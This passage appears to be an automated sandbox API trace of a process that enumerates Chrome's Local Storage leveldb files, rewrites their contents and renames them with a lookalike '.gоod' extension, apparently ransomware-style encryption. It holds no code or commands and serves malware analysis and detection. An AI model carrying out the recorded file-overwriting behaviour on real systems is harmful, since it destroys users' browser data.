ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb026922, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0214.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb026922, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb026922, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0214.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb02903a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb02903a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb02903a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0214.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.780] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0214.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0214.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0214.781] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb", lpFilePart=0x0) returned 0x53 [0214.781] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb1be4f3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb1be4f3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb1be4f3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf8a10d88, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x16cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0214.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb02903a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb02903a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb02903a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0214.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb026922, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb026922, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb026922, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0214.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb026922, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb026922, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0214.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb02903a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb02903a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb02903a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0214.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb02903a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb02903a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb02903a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0 [0214.782] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0214.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0214.782] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", lpFilePart=0x0) returned 0x5e [0214.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0214.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x3644078 | out: lpFileInformation=0x3644078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb1be4f3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf8a10d88, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x16cf)) returned 1 [0214.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0214.783] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", lpFilePart=0x0) returned 0x5e [0214.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0214.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0214.783] GetFileType (hFile=0x82c) returned 0x1 [0214.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0214.783] GetFileType (hFile=0x82c) returned 0x1 [0214.784] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x208ed4c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x208ed4c8*=0) returned 0x1000 [0214.784] ReadFile (in: hFile=0x82c, lpBuffer=0x3644510, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed498, lpOverlapped=0x0 | out: lpBuffer=0x3644510*, lpNumberOfBytesRead=0x208ed498*=0x6cf, lpOverlapped=0x0) returned 1 [0214.785] CloseHandle (hObject=0x82c) returned 1 [0214.785] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", lpFilePart=0x0) returned 0x5e [0214.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0214.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0214.786] GetFileType (hFile=0x82c) returned 0x1 [0214.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0214.786] GetFileType (hFile=0x82c) returned 0x1 [0214.786] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x208ed4c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x208ed4c8*=0) returned 0x16cf [0214.786] WriteFile (in: hFile=0x82c, lpBuffer=0x3645820*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208ed3b8, lpOverlapped=0x0 | out: lpBuffer=0x3645820*, lpNumberOfBytesWritten=0x208ed3b8*=0x10, lpOverlapped=0x0) returned 1 [0214.786] CloseHandle (hObject=0x82c) returned 1 [0214.786] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", lpFilePart=0x0) returned 0x5e [0214.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0214.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0214.786] GetFileType (hFile=0x82c) returned 0x1 [0214.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0214.786] GetFileType (hFile=0x82c) returned 0x1 [0214.786] ReadFile (in: hFile=0x82c, lpBuffer=0x3647b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed448, lpOverlapped=0x0 | out: lpBuffer=0x3647b08*, lpNumberOfBytesRead=0x208ed448*=0x1000, lpOverlapped=0x0) returned 1 [0214.928] CloseHandle (hObject=0x82c) returned 1 [0214.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", lpFilePart=0x0) returned 0x5e [0215.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0215.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0215.616] GetFileType (hFile=0x82c) returned 0x1 [0215.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0215.616] GetFileType (hFile=0x82c) returned 0x1 [0215.616] WriteFile (in: hFile=0x82c, lpBuffer=0x34dd380*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x208ed4f8, lpOverlapped=0x0 | out: lpBuffer=0x34dd380*, lpNumberOfBytesWritten=0x208ed4f8*=0x1010, lpOverlapped=0x0) returned 1 [0215.616] CloseHandle (hObject=0x82c) returned 1 [0215.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log", lpFilePart=0x0) returned 0x5e [0215.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log.gоod", lpFilePart=0x0) returned 0x63 [0215.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0215.616] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb1be4f3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7cbc13df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16df)) returned 1 [0215.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0215.616] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\000003.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\000003.log.gоod")) returned 1 [0215.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT", lpFilePart=0x0) returned 0x5b [0215.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0215.619] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\current"), fInfoLevelId=0x0, lpFileInformation=0x357b210 | out: lpFileInformation=0x357b210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb02903a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb02903a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb02903a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0215.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0215.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT", lpFilePart=0x0) returned 0x5b [0215.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0215.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0215.619] GetFileType (hFile=0x82c) returned 0x1 [0215.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0215.620] GetFileType (hFile=0x82c) returned 0x1 [0215.620] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x10 [0215.620] ReadFile (in: hFile=0x82c, lpBuffer=0x357b4f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x357b4f8*, lpNumberOfBytesRead=0x208ed3f8*=0x10, lpOverlapped=0x0) returned 1 [0215.620] CloseHandle (hObject=0x82c) returned 1 [0216.812] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT", lpFilePart=0x0) returned 0x5b [0216.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0216.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\current"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0216.814] GetFileType (hFile=0x478) returned 0x1 [0216.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0216.814] GetFileType (hFile=0x478) returned 0x1 [0216.814] WriteFile (in: hFile=0x478, lpBuffer=0x3640918*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3640918*, lpNumberOfBytesWritten=0x208ed308*=0x20, lpOverlapped=0x0) returned 1 [0216.815] CloseHandle (hObject=0x478) returned 1 [0216.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT", lpFilePart=0x0) returned 0x5b [0216.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT.gоod", lpFilePart=0x0) returned 0x60 [0216.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0216.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\current"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb02903a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb02903a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7d7146f1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0216.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0216.815] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\current"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\CURRENT.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\current.gоod")) returned 1 [0216.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK", lpFilePart=0x0) returned 0x58 [0216.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0216.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\lock"), fInfoLevelId=0x0, lpFileInformation=0x3641be0 | out: lpFileInformation=0x3641be0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb026922, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb026922, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb026922, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0216.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0216.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK", lpFilePart=0x0) returned 0x58 [0216.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0216.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0216.817] GetFileType (hFile=0x478) returned 0x1 [0216.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0216.817] GetFileType (hFile=0x478) returned 0x1 [0216.817] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x0 [0216.817] CloseHandle (hObject=0x478) returned 1 [0217.503] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK", lpFilePart=0x0) returned 0x58 [0217.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0217.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\lock"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0217.504] GetFileType (hFile=0x808) returned 0x1 [0217.504] SetThreadErrorMode 